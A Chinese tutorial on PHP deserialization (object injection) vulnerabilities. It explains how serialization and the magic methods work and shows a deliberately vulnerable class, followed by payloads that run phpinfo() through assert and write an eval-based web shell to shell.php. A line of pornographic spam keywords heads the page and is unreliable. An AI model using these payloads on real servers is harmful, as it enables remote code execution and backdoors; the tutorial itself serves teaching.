亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

詳解PHP反序列化漏洞的原理及示例

 更新時間:2022年06月09日 09:13:57   作者:PHP開源社區(qū)  
PHP反序列化漏洞也叫PHP對象注入,是一個非常常見的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會造成非常危險的后果。本文將詳細(xì)講講PHP反序列化漏洞的原理及示例,感興趣的可以了解一下

PHP反序列化

序列化與反序列化

序列化說通俗點就是把一個對象變成可以傳輸?shù)淖址?。序列化過程中還會對不同屬性的變量進(jìn)行不同方式的變化

public的屬性在序列化時,直接顯示屬性名

protected的屬性在序列化時,會在屬性名前增加0x00*0x00,其長度會增加3

private的屬性在序列化時,會在屬性名前增加0x00classname0x00,其長度會增加類名長度+2

反序列化就是把被序列化的字符串還原為對象,然后在接下來的代碼中繼續(xù)使用。

PHP魔法函數(shù)

  • __construct()    #類的構(gòu)造函數(shù)
  • __destruct()    #類的析構(gòu)函數(shù),在對象被銷毀時執(zhí)行該函數(shù)
  • __call()    #在對象中調(diào)用一個不可訪問方法時調(diào)用
  • __callStatic()    #用靜態(tài)方式中調(diào)用一個不可訪問方法時調(diào)用
  • __get()    #獲得一個類的成員變量時調(diào)用
  • __set()    #設(shè)置一個類的成員變量時調(diào)用
  • __isset()    #當(dāng)對不可訪問屬性調(diào)用isset()或empty()時調(diào)用
  • __unset()    #當(dāng)對不可訪問屬性調(diào)用unset()時被調(diào)用。
  • __sleep()    #執(zhí)行serialize()時,先會調(diào)用這個函數(shù)
  • __wakeup()    #執(zhí)行unserialize()時,先會調(diào)用這個函數(shù)
  • __toString()    #類被當(dāng)成字符串時的回應(yīng)方法
  • __invoke()    #調(diào)用函數(shù)的方式調(diào)用一個對象時的回應(yīng)方法
  • __set_state()    #調(diào)用var_export()導(dǎo)出類時,此靜態(tài)方法會被調(diào)用。
  • __clone()    #當(dāng)對象復(fù)制完成時調(diào)用
  • __autoload()    #嘗試加載未定義的類
  • __debugInfo()    #打印所需調(diào)試信息

序列化結(jié)構(gòu)

反序列化漏洞

簡介

PHP反序列化漏洞也叫PHP對象注入,是一個非常常見的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會造成非常危險的后果。漏洞的形成的根本原因是程序沒有對用戶輸入的反序列化字符串進(jìn)行檢測,導(dǎo)致反序列化過程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等語言之中,但其原理基本相通。

原理

未對用戶輸入的序列化字符串進(jìn)行檢測,導(dǎo)致攻擊者可以控制反序列化過程,從而導(dǎo)致代碼執(zhí)行,SQL注入,目錄遍歷等不可控后果。

在反序列化的過程中自動觸發(fā)了某些魔術(shù)方法。

觸發(fā)條件

unserialize函數(shù)的變量可控,php文件中存在可利用的類,類中有魔法函數(shù)

示例

<?php

class demo{
    public $name;
    public $age;

    function __destruct(){
        $a = $this->name;
        $a($this->age);
    }
}

$h = new demo();
echo serialize($h);
unserialize($_GET['h']);

?>

payload

payload:(適用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}

傳木馬
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}

我們可以看到當(dāng),創(chuàng)建對象之后,沒有調(diào)用該__destruct()函數(shù),該函數(shù)也自動執(zhí)行,也就是serialize()函數(shù)和unserialize()函數(shù)銷毀了對象,觸發(fā)了魔法函數(shù)的執(zhí)行。

大致過程:

到此這篇關(guān)于詳解PHP反序列化漏洞的原理及示例的文章就介紹到這了,更多相關(guān)PHP反序列化漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論